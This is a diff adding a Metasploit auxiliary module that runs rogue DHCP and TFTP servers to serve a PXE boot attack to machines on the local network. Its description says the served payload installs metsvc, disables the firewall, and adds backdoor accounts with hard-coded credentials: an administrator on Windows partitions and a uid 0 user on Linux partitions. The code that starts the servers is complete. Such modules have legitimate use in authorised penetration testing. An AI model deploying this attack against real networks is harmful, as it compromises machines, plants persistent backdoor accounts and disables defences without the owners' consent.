|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/proto/tftp' |
| 8 | +require 'rex/proto/dhcp' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::TFTPServer |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize |
| 16 | + super( |
| 17 | + 'Name' => 'PXE Boot Exploit Server', |
| 18 | + 'Description' => %q{ |
| 19 | + This module provides a PXE server, running a DHCP and TFTP server. |
| 20 | + The default configuration loads a linux kernel and initrd into memory that |
| 21 | + reads the hard drive; placing a payload to install metsvc, disable the |
| 22 | + firewall, and add a new user metasploit on any Windows partition seen, |
| 23 | + and add a uid 0 user with username and password metasploit to any linux |
| 24 | + partition seen. The windows user will have the password p@SSw0rd!123456 |
| 25 | + (in case of complexity requirements) and will be added to the administrators |
| 26 | + group. |
| 27 | +
|
| 28 | + Note: the displayed IP address of a target is the address this DHCP server |
| 29 | + handed out, not the "normal" IP address the host uses. |
| 30 | + }, |
| 31 | + 'Author' => [ 'scriptjunkie' ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'Actions' => |
| 34 | + [ |
| 35 | + [ 'Service' ] |
| 36 | + ], |
| 37 | + 'PassiveActions' => |
| 38 | + [ |
| 39 | + 'Service' |
| 40 | + ], |
| 41 | + 'DefaultAction' => 'Service', |
| 42 | + 'DefaultOptions' => { |
| 43 | + 'FILENAME' => 'update1', |
| 44 | + 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! |
| 45 | + } |
| 46 | + ) |
| 47 | + |
| 48 | + register_advanced_options( |
| 49 | + [ |
| 50 | + OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', |
| 51 | + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), |
| 52 | + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), |
| 53 | + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), |
| 54 | + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), |
| 55 | + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) |
| 56 | + ], self.class) |
| 57 | + end |
| 58 | + |
| 59 | + def run |
| 60 | + print_status("Starting TFTP server...") |
| 61 | + @tftp = Rex::Proto::TFTP::Server.new |
| 62 | + @tftp.set_tftproot(datastore['TFTPROOT']) |
| 63 | + @tftp.start |
| 64 | + add_socket(@tftp.sock) |
| 65 | + |
| 66 | + print_status("Starting DHCP server...") |
| 67 | + @dhcp = Rex::Proto::DHCP::Server.new( datastore ) |
| 68 | + @dhcp.report do |mac, ip| |
| 69 | + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ |
| 70 | + "(#{Rex::Socket.addr_ntoa(ip)})") |
| 71 | + report_note( |
| 72 | + :type => 'PXE.client', |
| 73 | + :data => mac.unpack('H2H2H2H2H2H2').join(':') |
| 74 | + ) |
| 75 | + end |
| 76 | + @dhcp.start |
| 77 | + add_socket(@dhcp.sock) |
| 78 | + |
| 79 | + # Wait for finish.. |
| 80 | + @tftp.thread.join |
| 81 | + @dhcp.thread.join |
| 82 | + |
| 83 | + end |
| 84 | + |
| 85 | +end |
0 commit comments